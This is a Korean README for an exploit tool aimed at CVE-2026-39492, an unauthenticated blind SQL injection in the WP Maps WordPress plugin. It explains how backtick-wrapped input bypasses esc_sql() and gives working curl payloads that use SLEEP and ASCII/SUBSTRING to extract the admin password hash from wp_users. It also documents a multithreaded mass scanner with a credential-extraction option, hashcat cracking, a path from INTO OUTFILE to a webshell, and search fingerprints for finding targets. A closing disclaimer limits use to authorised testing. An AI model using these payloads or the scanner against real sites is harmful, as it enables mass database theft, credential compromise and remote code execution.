
CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 인증되지 않은 블라인드 SQL 주입 대량 스캐너 | sqlmap 스타일 탐지 | 백틱으로 esc_sql() 우회 | 100K+ 설치
CVE-2026-39492는 WP Maps 플러그인(wp-google-map-plugin) 버전 ≤ 4.9.1에서 발견된 심각도(CVSS 9.3)의 인증되지 않은 블라인드 SQL 인젝션 취약점입니다.
wpgmp_ajax_call AJAX 핸들러는 wp_ajax_nopriv_를 통해 인증되지 않은 접근에 등록됩니다. location_id 매개변수는 함수를 통과하는데, 이 함수는 을 신뢰된 SQL 컬럼 식별자로 잘못 처리하여 WordPress의 정화를 완전히 우회합니다.
FlipperCode_Model_Base::is_column()esc_sql()| WP Maps 버전 | 상태 |
|---|---|
| ≤ 4.9.1 | 취약 |
| ≥ 4.9.2 | 패치됨 |
활성 설치 수: 100,000개 이상
플러그인의 데이터베이스 추상화 계층에서 is_column()은 사용자 입력이 백틱으로 감싸져 있는지 확인합니다:
// 취약: 백틱으로 감싸진 입력이 신뢰된 컬럼 식별자로 처리됨
function is_column($value) {
if (preg_match('/^`.*`$/', $value)) {
return true; // esc_sql()을 완전히 우회!
}
return false;
}
is_column()이 true를 반환하면, 입력은 esc_sql() 이스케이프 없이 SQL 쿼리에 직접 전달됩니다. 이를 통해 다음과 같은 공격이 가능합니다:
location_id=`1` AND SLEEP(5) AND `1`=`1
1. readme.txt를 통해 WP Maps 탐지 → 버전 추출
2. POST 요청: /wp-admin/admin-ajax.php?action=wpgmp_ajax_call
3. location_id 매개변수에 백틱으로 감싼 페이로드 삽입
4. 응답 시간 측정 — SLEEP(N)으로 SQL 인젝션 확인
5. boolean/time 기반 블라인드 기법으로 데이터 추출
| 지표 | 값 |
|---|---|
| 공격 경로 | 네트워크 |
| 공격 복잡도 | 낮음 |
| 필요한 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 범위 | 변경됨 (전체 DB에 영향) |
| 기밀성 | 높음 |
| 무결성 | 없음 |
| 가용성 | 낮음 |
git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt
# 단일 대상 탐지
python cve_2026_39492.py -t target.com
# 대량 스캔
python cve_2026_39492.py -f targets.txt
# 대량 스캔 + 결과 저장
python cve_2026_39492.py -f targets.txt -o sqli.txt
# 단일 대상 + 자격 증명 추출
python cve_2026_39492.py -t target.com --extract -v
# 자세한 출력
python cve_2026_39492.py -t target.com -v
-t, --target 단일 대상 (도메인 또는 IP)
-f, --file 대상 목록, 한 줄에 하나씩
-o, --output 취약한 대상을 파일에 저장
--threads 동시 작업자 수 (기본값: 20)
--extract 확인된 대상에서 관리자 자격 증명 추출
-v, --verbose 상세 출력 표시
$ python cve_2026_39492.py -t target.com -v
CVE-2026-39492 — WP Maps 블라인드 SQL 인젝션 스캐너
CVSS 9.3 | 인증 없음 | wpgmp_ajax_call → 백틱 우회
대상: WP Maps (wp-google-map-plugin) <= 4.9.1
벡터: admin-ajax.php?action=wpgmp_ajax_call → location_id
우회: 백틱으로 감싸진 입력이 esc_sql()을 우회함
[+] WP Maps 탐지됨: v4.9.0
[*] SQLi 테스트: 6.2초 (임계값: 5초)
[+] 블라인드 SQLi 확인됨 (응답: 6.2초)
호스트 : target.com
WP Maps : 예 v4.9.0
SQLi : 예
응답 시간 : 6.2초
소요 시간 : 7.1초
$ python cve_2026_39492.py -t target.com --extract -v
[+] 블라인드 SQLi 확인됨 (응답: 5.8초)
[*] 블라인드 SQLi를 통해 관리자 자격 증명 추출 중...
[*] 추출 중: admin_user
[*] 추출 중: $P$BqVg...
관리자 사용자 : admin_user
관리자 해시 : $P$BqVg7xX...
CVE-2026-39492 WP Maps 블라인드 SQLi 스캐너
대상: 2500 | 작업자: 20
벡터: wpgmp_ajax_call → location_id 백틱 우회
───────────────────────────────────────────────────────
[SQLi] target-vuln.com 6.2초 v4.9.0 응답:6.2초
[SQLi] wp-maps-site.com 5.8초 v4.8.5 응답:5.8초
[500/2500] 20% | WP Maps:47 SQLi:12 | current-target.com
───────────────────────────────────────────────────────
스캔 완료 | 시간: 320초
───────────────────────────────────────────────────────
대상 : 2500
WP Maps 발견 : 47
SQLi 확인 : 12
1단계 — 플러그인 탐지
curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5
2단계 — SLEEP으로 SQLi 테스트
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND SLEEP(5) AND `1`=`1'
# 응답 > 5초 → 취약
3단계 — 블라인드 SQLi로 관리자 해시 추출
# 관리자 해시 첫 번째 문자 확인
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'
# 응답 > 3초 → 첫 번째 문자 ASCII 36 = '$'
4단계 — 해시 크래킹 및 로그인 → 전체 RCE
hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt
body="wp-google-map-plugin"
http.html:"wp-google-map-plugin"
성공적인 공격 시 전체 WordPress 데이터베이스 추출 가능:
SELECT ... INTO OUTFILE → 웹쉘 → 직접 RCE교육 및 승인된 테스트 목적으로만 사용하십시오.
이 소프트웨어는 공인된 침투 테스트를 수행하는 보안 전문가, 자체 인프라를 감사하는 조직, 취약점 악용을 연구하는 연구자를 위한 것입니다.
컴퓨터 시스템에 대한 무단 접근은 불법이며 다음 법률을 위반할 수 있습니다:
- 미국: 컴퓨터 사기 및 남용 법률 (18 U.S.C. 1030)
- 인도네시아: UU ITE Pasal 30 & 46
- 유럽 연합: 지침 2013/40/EU
- 영국: 컴퓨터 남용법 1990
저자는 오용에 대해 어떠한 책임도 지지 않습니다.
| 자료 | 링크 |
|---|---|
| IONIX Advisory | ionix.io/threat-center/cve-2026-39492 |
| WPScan Advisory | wpscan.com/vulnerability/c1f19d2e |
| Wordfence Advisory | wordfence.com |
| NVD Entry | CVE-2026-39492 |
| Plugin Trac | wp-google-map-plugin |
이 프로젝트는 Flipper Code 또는 WP Maps와 관련이 없습니다.